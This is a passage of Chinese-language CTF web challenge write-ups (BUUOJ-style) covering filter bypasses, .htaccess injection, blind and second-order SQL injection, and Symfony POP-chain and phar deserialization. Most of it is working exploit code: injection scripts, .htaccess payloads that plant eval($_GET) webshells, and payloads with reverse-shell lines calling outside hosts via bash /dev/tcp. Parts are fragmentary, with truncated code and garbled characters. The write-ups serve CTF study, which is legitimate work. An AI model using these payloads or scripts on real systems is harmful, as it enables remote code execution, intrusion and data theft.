not found\n";
}
} else {
$content = 'invalid request
';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
file_get_contents('php://input')
获取 post 的数据,json_decode($body, true)
用 json 格式解码 post 的数据,然后 is_valid($body)
对 post 数据检验,大概输入的格式如下
is_valid($body)
对 post 数据检验,导致无法传输 $banword
中的关键词,也就无法传输 flag
,这里在 json 中,可以使用 Unicode 编码绕过,flag
就等于 \u0066\u006c\u0061\u0067
通过检验后,获取 page
对应的文件,并且页面里的内容也要通过 is_valid
检验,然后将文件中 HarekazeCTF{}
替换为 HarekazeCTF{<censored>}
,这样就无法明文读取 flag
这里传入 /\u0066\u006c\u0061\u0067
后,由于 flag
文件中也包含 flag 关键字,所以返回 not found
,这也无法使用 file://
file_get_contents
是可以触发 php://filter
的,所以考虑使用伪协议读取,对 php
的过滤使用 Unicode
绕过即可
可以看出,json 在传输时是 Unicode 编码的
首先删除当前目录下非index.php的文件
然后include(‘fl3g.php’),之后获取filename和content并写入文件中。其中对filename和content都有过滤。
filename若匹配到除了a-z和单引号.以外的其它字符,则触发waf,
文件内容结尾被加上了一行"\nJust one chance"
功能很简单: 一个写文件的功能且只能写文件名为[a-z.]* 的文件,且文件内容存在黑名单过滤,并且结尾被加上了一行,这就导致我们无法直接写入.htaccess里面auto_prepend_file等php_value。
\#
的方式将换行符转义成普通字符,就可以用#来注释单行Step1 写入.htaccess error_log相关的配置
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[1]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
# \
http://a892a590-886b-4d5f-b499-52c80777734c.node3.buuoj.cn/index.php?filename=.htaccess&content=php_value%20error_log%20/tmp/fl3g.php%0d%0aphp_value%20error_reporting%2032767%0d%0aphp_value%20include_path%20%22+ADw?php%20eval($_GET[1])+ADs%20+AF8AXw-halt+AF8-compiler()+ADs%22%0d%0a#%20\
Step2 访问index.php留下error_log
Step3 写入.htaccess新的配置
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
index.php?filename=.htaccess&content=php_value include_path "/tmp"%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding "UTF-7"%0d%0a# \
Step4 再访问一次index.php?1=evilcode即可getshell.
filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23 \
这里利用预包含,将.htaccess中的内容包含到任意文件中,然后访问index.php触发,成功访问phpinfo
payload
filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23%26 /dev/tcp/node3.buuoj.cn:29633/233 0<%261"');?> \
通过用\拼接上下两行来绕过过滤,从而写入被限制的内容,如下:
payload
filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"\')
https://xz.aliyun.com/t/7169#toc-50
import requests
url = 'http://ee40692a-ea56-4531-b7d2-4382b76b32d2.node3.buuoj.cn/'
def trans(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
flag = ''
for i in range(1,500):
hexchar = ''
for char in range(32, 126):
hexchar = trans(flag+ chr(char))
payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
data = {
'id':payload
}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break
首先来到的页面时login.php,没有其他提示,扫一下后台,发现register.php,
是一个注册页面,我们试着注册一个用户后登录,这里通过抓包发现注册成功后会返回302状态码重定向到login.php,否则返回200状态码回到register.php
我们可以发现,登录后又重定向到index.php,其中只有显示了用户名
有注册页面,有登录页面,很明显的存在sql查询,那么可以猜测注册页面的sql语句是
insert into tables values('$email','$username','$password')
如果执行成功,则注册成功,重定向到login.php,然后执行sql语句
insert into tables values('$email','$username','$password')
有查询结果则登录成功,返回查询结果的用户名信息
那么我们就可以推测这里存在二次注入,我们在register.php中的insert语句注入username,在index.php中显示注入的结果,这就是二次注入
接下来考虑insert注入
直接给出我的payload:
0'+ascii(substr((select database()) from 1 for 1))+'0
这样sql语句就变成了
insert into tables values('$email','0'+ascii(substr((select database()) from 1 for 1))+'0','$password')
import requests
import re
register_url = "http://011b0ce7-3259-4a04-92f4-0fa0fb536aa6.node3.buuoj.cn/register.php"
login_url = "http://011b0ce7-3259-4a04-92f4-0fa0fb536aa6.node3.buuoj.cn/login.php"
database = ""
table_name = ""
column_name = ""
flag = ""
#获取数据库名
'''
for i in range(1,10):
register_data = {
'email':'test@test'+ str(i),
'username':"0'+ascii(substr((select database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'test@test'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'\s*(\d*)\s*',r.text)
asc = match.group(1)
if asc == '0':
break
database = database + chr(int(asc))
print('database:',database)
'''
#获取表名
'''
for i in range(1,20):
register_data = {
'email':'test@test'+ str(i),
'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
print(r.text)
login_data = {
'email':'test@test'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
r.encoding = r.apparent_encoding
print(r.text)
match = re.search(r'\s*(\d*)\s*',r.text)
asc = match.group(1)
if asc == '0':
break
table_name = table_name + chr(int(asc))
print('table_name:',table_name)
'''
#获取flag
for i in range(1,100):
register_data = {
'email':'test@test'+ str(i) + str(i),
'username':"0'+ascii(substr((select * from flag) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'test@test'+ str(i) + str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'\s*(\d*)\s*',r.text)
asc = match.group(1)
if asc == '0':
break
flag = flag + chr(int(asc))
print('flag:',flag)
pool = new ProxyAdapter();
}
}
$a = new TagAwareAdapter();
$a -> deferred = array('a' => new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));
链接2:
https://xz.aliyun.com/t/5816#toc-3
expiry = 'sjdjfkas';
$this->poolHash = '123';
$this->key = '';
}
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
use Symfony\Component\Ldap\Adapter\ExtLdap\Adapter;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/etc/passwd';
}
}
class ProxyAdapter{
private $namespace;
private $namespaceLen;
private $createCacheItem;
private $setInnerItem;
private $poolHash;
private $pool;
public function __construct()
{
$this->pool = new ChainAdapter();
$this->createCacheItem = 'call_user_func';
$this->namespace = 'phpinfo';
}
}
class TagAwareAdapter{
private $deferred = [];
private $createCacheItem;
private $setCacheItemTags;
private $getTagsByKey;
private $invalidateTags;
private $tags;
private $knownTagVersions = [];
private $knownTagVersionsTtl;
private $pool;
public function __construct()
{
$this->deferred = array('flight' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
}
namespace {
use Symfony\Component\Cache\Adapter\TagAwareAdapter;
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
官方payload:
http://localhost/pop_chain/laravel/public/index.php/index?payload=O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A1%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A45%3A%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F115.159.184.127%2F9998%200%3E%261%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00expiry%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B%7D%7D";}s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}}
admin/password即可登录,登录后是一个文件包含
http://bdf45f07-45d1-4a3b-bc38-680d34bd32a0.node3.buuoj.cn/home.php?file=php://filter/read=convert.base64-encode/resource=home
home.php
Home ";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "当å‰å¼•ç”¨çš„是 ".$file;
require $file;
}
}
else{
die("no permission!");
}
}
?>
upload.php
Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '
Master, I want to study rizhan!
';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下é¢æ˜¯ä½ ä¸Šä¼ çš„æ–‡ä»¶ï¼š
".$uploader."
";
echo file_get_contents($uploader);
}
}
?>
审计upload.php代码:
$this->Filename = $_GET['name'];
可见$this->Filename
是可控的,可以通过name
参数以get方式得到
分析最后上传部分的代码
if(@file_get_contents($uploader)){
echo "下é¢æ˜¯ä½ ä¸Šä¼ çš„æ–‡ä»¶ï¼š
".$uploader."
";
echo file_get_contents($uploader);
}
file_get_contents()
使$uploader
对象通过__toString()
返回$this->Filename
,由于phar://
伪协议可以不依赖unserialize()
直接进行反序列化操作,加之$this->Filename
可控,因此此处$this->Filename
配合phar反序列化后,__destruct()
方法内eval($this->cmd);
最终导致了远程代码执行
知道了这个思路,后面的事情就简单多了
由于__destruct()
方法中,想要eval($this->cmd);
的前提条件是$this->token
和$_SESSION['user']
相等
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
在__construct()
方法中可见如下两行代码
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$this->Filename = $sandbox.$_SESSION['user'].$ext;
因此可以先随便上传一个txt,得到的路径中,.txt前面的就是$_SESSION['user']
本地生成phar文件:
cmd = 'highlight_file("/var/www/html/flag.php");';
$o->Filename = 'test';
$o->token = 'GXYf966ca9e09125316b6bcc3a137f15449'; //$_SESSION['user']
echo serialize($o);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
然后将生成的phar上传
得到路径
/var/www/html/uploads/6cc53bf383ddeaaa6d5ddc8d05758e86/GXYf966ca9e09125316b6bcc3a137f15449.txt
然后将这个路径带上phar://
作为name参数的值,再随意上传一个文件,因为$this->Filename
被我们手工指定为phar,触发了phar反序列化导致命令执行。
最终payload:
http://172.21.4.12:10041/home.php?file=upload&name=phar:///var/www/html/uploads/6cc53bf383ddeaaa6d5ddc8d05758e86/GXYf966ca9e09125316b6bcc3a137f15449.txt
传任意文件后,得到flag
https://httpoxy.org/
HTTPOXY漏洞说明
在Linux labs
里面, 先建一个index.php
true);
header("Content-Type:application/json");
echo json_encode($arr);
然后运行
php -S 0:2333
后面加上请求头访问即可
PDO场景下的SQL注入探究
#author: c1e4r
import requests
import json
import time
def main():
#题目地址
url = "http://7a558839-fb8b-4cba-8c09-9d0ff1cb896a.node3.buuoj.cn/index.php?r=Login/Login"
#注入payload
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()
跑出来``glzjin_wants_a_girl_friend.zip
下面看下某些的关键代码:
/Controller/BaseController.php
....
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
其中 ,BaseController的loadView方法发现使用了extract,后面又include了一个文件。那么意味着只要viewData可控我们即可覆盖掉
viewData可控我们即可覆盖掉
this−>viewPath正是要返回给客户端的。寻找几个调用loadView的方法,发现一个对
this−>viewPath正是要返回给客户端的。寻找几个调用loadView的方法,发现一个对viewData完全可控的地方
/Controller/UserController.php
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
$listData是从REQUEST提取出来的,完全可控。而其对应的/View/userIndex.php中存在一个文件读取
.......
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo ''; //图片形式展示
?>